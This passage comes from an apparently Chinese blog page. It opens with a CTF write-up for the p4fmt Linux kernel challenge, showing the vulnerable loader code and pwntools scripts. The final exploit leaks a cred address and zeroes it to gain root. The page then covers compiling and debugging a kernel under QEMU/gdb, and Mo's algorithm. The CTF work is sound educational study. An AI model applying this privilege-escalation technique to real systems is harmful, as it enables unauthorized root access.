for (int i = 0; i < mapping_count; i++, mapping++) {
long addr = mapping->load_addr & 0xFFFFFFFFFFFFF000;
long prot = mapping->load_addr & 7;

printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", addr, mapping->length, mapping->offset, prot);

if (mapping->load_addr & 8) {
// 這裡就是要初始化一段記憶體,類似 .bss 段
vm_mmap(0, addr, mapping->length, prot, 2, mapping->offset);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", mapping->load_addr, mapping->length);
_clear_user(mapping->load_addr, mapping->length);
} else {
// 這裡是要把檔案掛上去,類似 .text 段
vm_mmap(bprm->file, addr, mapping->length, prot, 2, mapping->offset);
}
}

漏洞

mapping_count 改大可以 leak linux_binprm 其他欄位的值
_clear_user 沒有檢查,可以把 kernel 上任意位址的值清空
linux_binprm 有一個 cred 的結構,裡面存的就是 uid, gid
所以我們只要 leak 出這個 cred 的位址,然後用 _clear_user 清成 0,我們的程式就是 root 權限了 ( root 的 uid 是 0 )

嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(1) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400030) # entry

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0
)

payload += asm(shellcraft.echo("test\n") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

先寫個簡單的 p4 格式的執行檔測試一下我們的理解是不是對的

command
1
echo UDQAAQEAAAAYAAAAAAAAADAAQAAAAAAABwBAAAAAAAAAEAAAAAAAAAAAAAAAAAAASLgBAQEBAQEBAVBIuHVkcnULAQEBSDEEJGoBWGoBX2oFWkiJ5g8FajxYDwU= | base64 -d > a ; chmod +x a ; ./a
output
1
2
[50353.170813] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
test

接下來要找 cred 的位址,因為 pwnuid 是 1000 ( = 0x3e8 )
所以我們把使用者切換成 pwn,切成 pwn 之後要在 /tmp 才可以寫檔
然後把 mapping_count 改大一點,比如 6,在他印出的位址指向的值中找 0x3e8

1
2
3
4
5
6
7
8
[50800.668734] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
[50800.674080] vm_mmap(load_addr=0x10101010101b000, length=0x726475b848500101, offset=0x431480101010b75, prot=0)
[50800.674550] clear_user(addr=0x10101010101b848, length=0x726475b848500101)
[50800.675372] vm_mmap(load_addr=0x6a5f016a58016000, length=0x6a050fe689485a05, offset=0x50f583c, prot=4)
[50800.675786] vm_mmap(load_addr=0x0, length=0x0, offset=0x0, prot=0)
[50800.676003] vm_mmap(load_addr=0x0, length=0x7fffffffef99, offset=0x100000001, prot=0)
[50800.676260] vm_mmap(load_addr=0x0, length=0xffffa1c307595b40, offset=0x0, prot=0)
test

找了一找發現在第六個 vm_mmap0xffffa1c307595b40 這個位址是 cred
但是這個位址每次跑起來都不一樣,不過多跑幾次會發現,這個值會一直循環重複利用,所以只要多跑幾次就會對了

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(2) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400048) # entry

leak_cred = 0xffff9855c758c0c0

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0,

(leak_cred | 8) + 0x10,
0x20,
0
)

payload += asm(shellcraft.cat("/flag") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

  1. https://github.com/david942j/ctf-writeups/tree/master/teaser-confidence-quals-2019/p4fmt
  2. https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html
  3. https://amritabi0s.wordpress.com/2019/03/19/confidence-ctf-p4fmt-write-up/
Read more

【手把手教你玩 Linux Kernel】如何編譯 Linux Kernel

原始碼下載

可以從 www.kernel.org 下載最新的 kernel ( 我是下載 5.0.9 的 )

1
2
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.0.9.tar.xz
x linux-5.0.9.tar.xz

設置編譯參數

1
make menuconfig

有選單可以客製化,選完之後會產生 .config

編譯

1
make -j$(nproc)

-j 多個程序並行編譯

make help

可以用 make help 看看有哪些參數可以用

安裝

1
make -j$(nproc) modules_install

安裝內核模塊 ( kernel module )
會裝到 /lib/modules/

1
make -j$(nproc) install

安裝內核本體
會裝到 /boot
並且會自動更新 grub
下次重啟系統就會是新的內核

安裝到其他目錄

1
export INSTALL_PATH=/path/to/install


  1. https://www.cyberciti.biz/tips/compiling-linux-kernel-26.html
  2. https://stackoverflow.com/questions/35931157/change-linux-kernel-installation-directory
Read more

【手把手教你玩 Linux Kernel】如何對 Kernel 除錯

編譯 kernel

參考 Compile Kernel

initramfs

1
2
mkdir --parents initramfs/{bin,dev,etc,lib,lib64,mnt/root,proc,root,sbin,sys}
cp `which busybox` initramfs/bin/

busybox 是集成了很多常用 linux 命令的工具
接下來我們需要編輯兩個檔案,initramfs/initinitramfs/etc/passwd

init

tab
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/busybox sh

/bin/busybox mkdir -p /usr/sbin /usr/bin /sbin /bin
/bin/busybox --install -s

mount -t proc none /proc
mount -t sysfs none /sys

ln -s /dev/console /dev/ttyS0

sleep 2

setsid cttyhack su root

poweroff -f

kernel 跑起來的時候會檢查是否有 initramfs,有的話就會把它 mount 在 / 然後跑 /init

passwd

tab
1
root:x:0:0::/root:/bin/sh

打包

1
2
cd initramfs
find . -print0 | cpio --null --create --verbose --format=newc | gzip --best > ../initramfs.cpio.gz

qemu-system

tab
1
2
3
4
5
6
#!/bin/bash
qemu-system-x86_64 -kernel ./linux-5.0.9/arch/x86_64/boot/bzImage \
-initrd ./initramfs.cpio.gz \
-nographic \
-append "console=ttyS0 nokaslr" \
-gdb tcp:127.0.0.1:7777

nokaslr 關掉 kernel 的位址隨機化,方便我們除錯
-gdb 開一個 gdb server 讓我們可以連上去除錯

如何跳出 qemu-system

Ctrl-A X

gdb

1
2
3
4
5
6
7
8
(gdb) target remote :7777
(gdb) set auto-load safe-path .
(gdb) file ./linux-5.0.9/vmlinux
(gdb) apropos lx # 顯示包含 lx 的指令 ( 從 vmlinux-gdb.py 載入的輔助函式 )
lx-cmdline -- Report the Linux Commandline used in the current kernel
lx-cpus -- List CPU status arrays
lx-dmesg -- Print Linux kernel log buffer
...

因為 gdb 會自動載入一些檔案,但有些檔案可能是不可信任的
set auto-load safe-path 就是設定可以信任的路徑,底下的檔案會自動載入,比如說一些 python script
這裡我們要載入的是 ./linux-5.0.9/vmlinux-gdb.py


  1. https://blog.csdn.net/DrottningholmEast/article/details/76651580
  2. https://wiki.gentoo.org/wiki/Custom_Initramfs
  3. http://nickdesaulniers.github.io/blog/2018/10/24/booting-a-custom-linux-kernel-in-qemu-and-debugging-it-with-gdb/
  4. https://blog.csdn.net/chrisniu1984/article/details/3907874
Read more

【演算法筆記】莫隊算法

問題敘述

給一大小 $N$ 的序列,回答 $M$ 次查詢,每次查詢都是問一個區間 $[L, R]$ 的答案(比如區間眾數)

使用條件

  1. 可以在很短的時間內由 $[L, R]$ 得到 $[L, R + 1], [L - 1, R], [L, R - 1], [L + 1, R]$ 的答案
  2. 可以離線運算(也就是可以把輸入通通吃進來再輸出)

算法

將 $M$ 次查詢根據 $L$ 的大小分為 $\sqrt{N}$ 塊
也就是每塊裡面的 $L$ 最多只會差距 $\sqrt{N}$
每塊裡面的 $R$ 再由小到大排序
按照排好的順序算答案,缺少什麼就一個個加進來,多了什麼就一個個丟掉
add 函式就是實作把一個數加進目前的區間
sub 函式就是實作把一個數從目前的區間丟掉

1
2
3
4
5
6
struct Q {
int l, r, b, i;
bool operator < (const Q &q) {
return b == q.b ? (r < q.r) : b < q.b;
}
} q[MAXM];
1
2
3
4
5
6
7
8
9
10
11
int block = ceil(sqrt(MAXN));

for (int i = 0; i < m; i++) {
int l, r; cin >> l >> r;
q[i].l = l;
q[i].r = r;
q[i].b = q[i].l / block;
q[i].i = i;
}

sort(q, q + m);
1
2
3
4
5
6
7
for (int i = 0, L = 0, R = -1; i < m; i++) {
while (R < q[i].r) add(a[++R]);
while (q[i].l < L) add(a[--L]);
while (q[i].r < R) sub(a[R--]);
while (L < q[i].l) sub(a[L++]);
ans[q[i].i] = cur;
}

時間複雜度

$O(N^{1.5})$

奇偶優化

第一塊的 $R$ 從小到大
第二塊從 $R$ 大到小
第三塊從 $R$ 小到大
在從第一塊要到第二塊的時候,$R$ 都是大的
在從第二塊要到第三塊的時候,$R$ 都是小的

1
2
3
bool operator < (const Q &q) {
return b == q.b ? (r < q.r) ^ (b % 2) : b < q.b;
}

題目

Codeforces 86D - Powerful array


  1. http://sunmoon-template.blogspot.com/2015/08/mos-algorithm.html
  2. https://zhuanlan.zhihu.com/p/25017840
  3. https://oi-wiki.org/misc/mo-algo/
Read more